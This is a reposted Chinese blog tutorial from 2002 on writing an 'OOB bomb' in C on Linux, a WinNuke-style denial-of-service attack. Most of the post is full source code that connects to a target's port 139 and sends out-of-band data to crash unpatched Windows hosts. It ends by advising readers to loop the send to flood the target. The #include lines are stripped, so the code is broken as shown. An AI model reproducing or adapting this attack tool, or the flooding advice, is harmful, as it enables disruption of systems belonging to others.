linux下 OOB 炸彈的製作

來源:互聯網
上載者:User
兩年前的文章,拿過來充充門面。——————————————————linux下 OOB 炸彈的製作

( 作者:mikespook | 發布日期:2002-12-8 | 瀏覽次數:466 )

關鍵字:linux,OOB炸彈,網路編程
前言:
    本文章只是為了給廣大和我一樣的菜鳥一個指引。如果你是高手,或對編程毫沒有興趣。建議請不要在此浪費時間。

    記得還是在上高中時,第一次接觸了winnuck藍屏炸彈。那時感覺非常神秘。後來才知道原來那時所謂的藍屏炸彈就是 OOB 炸彈。
    首先讓我們瞭解一下什麼是 OOB 炸彈。OOB 炸彈,顧名思義就是向對方發送一個 OOB 訊息,由於作業系統漏洞的緣故而造成異常錯誤(通常表現就是藍屏,顧得名藍屏炸彈)。當然這裡的作業系統特指windows。
    下面就結合實力給大家介紹一個 OOB 炸彈的編製方法。下面這個程式我沒有進行測試,原因有很多。主要是沒有條件。我也不保證這是一個能用的版本,因為據我瞭解,MS早已經對這個漏洞進行了修複。今天的這個文章全當是紀念吧!讓大家瞭解一下,原來炸彈不過如此(話雖然這麼說但是能寫出好炸彈的還是高人,比如最近鬧得沸沸揚揚的SYN Flood)。
/*------------------------------oob_bomb.c-----------------------------------*/
/*gcc -O -o tcpscan scan.c*/
/* oob bomb */
/* mikespook */
/* 2002.5.21 */
#include
#include
#include
#include
#include

/* 這個函數是用來檢查輸入的參數是IP地址還是主機名稱 */
int correcthost(const char *host, struct sockaddr_in * sock);

main(int argc, int *argv[])
{
  /* 所要攻擊的連接埠,一般 OOB 炸彈預設的是139連接埠 */
  int n_port;
  /* socket通訊端 */
  int sock_id;
  /* 返回錯誤碼 */
  int rtn_err;
  /* socket結構,建立串連、發送訊息全靠它了 */  
  struct sockaddr_in remote_sock;
  /* 訊息 */
  char *pc_msg;
  /* 處理命令列參數 */
  if(argc != 4){
    if(argc != 3){
      if(argc !=2){
        printf("Usage: oob_bomb [port] [message]/n");
        printf("Writen by mikespook/n");
        printf("mikespook@hotmail.com/tWith subject: report for bomb/n");
        exit(0);
      }else
        /* 如果沒有輸入連接埠號碼就用預設的139連接埠 */
        remote_sock.sin_port = htons(139);  
    }else
      /* 否則使用輸入的連接埠 */
      remote_sock.sin_port = htons(atoi(argv[2]));
    pc_msg = ":-)";
  }else{
    remote_sock.sin_port = htons(atoi(argv[2]));
    pc_msg =(char *)argv[3];
  }

  rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock);
  if(rtn_err != 0)
    exit(1);

  remote_sock.sin_family = AF_INET;
  /* 建立一個socket套介面 */
  sock_id = socket(AF_INET, SOCK_STREAM, 0);
  if(sock_id < 0){
    perror("/nsocket");
    exit(2);
  }
  /* 當然要串連上才能繼續了 */
  rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock));
  if(rtn_err < 0){
    perror("/nconnect");
    exit(3);
  }   
  /* 呵呵,送一個MSG_OOB訊息,"Bomb..." */
  rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB);
  if(rtn_err == -1){
    perror("/nsend");
    exit(4);
  }
  
  printf("OOB_Bomb Success!/n");
  close(sock_id);
  exit(0);
}
/* 這個函數我在上次的tcp connect掃描器的製作中有介紹,不多說了 */
int correcthost(const char *host, struct sockaddr_in *sock)
{
  struct hostent *struct_host;
  if(isdigit(*host))
    sock->sin_addr.s_addr = inet_addr(host);
  else{
    struct_host = gethostbyname(host);
    if(struct_host != NULL)
      bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length);
    else{
      printf("Get error with host name./n");
      return -1;
    }
  }
  return 0;
}

-------------------------------------------------------------------------------
最後補充一下,在發送MSG_OOB訊息的時候一般的 OOB 炸彈會做一個迴圈,大量的發送 MSG_OOB 訊息,以增加對方當機的可能性。原理我已經說了,改進就由你完成了。:)
由於我是菜鳥,或許有什麼不對的地方。也可能一些細節我沒有考慮到。如果你知道的話希望不惜指教。小弟感激不盡!!

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.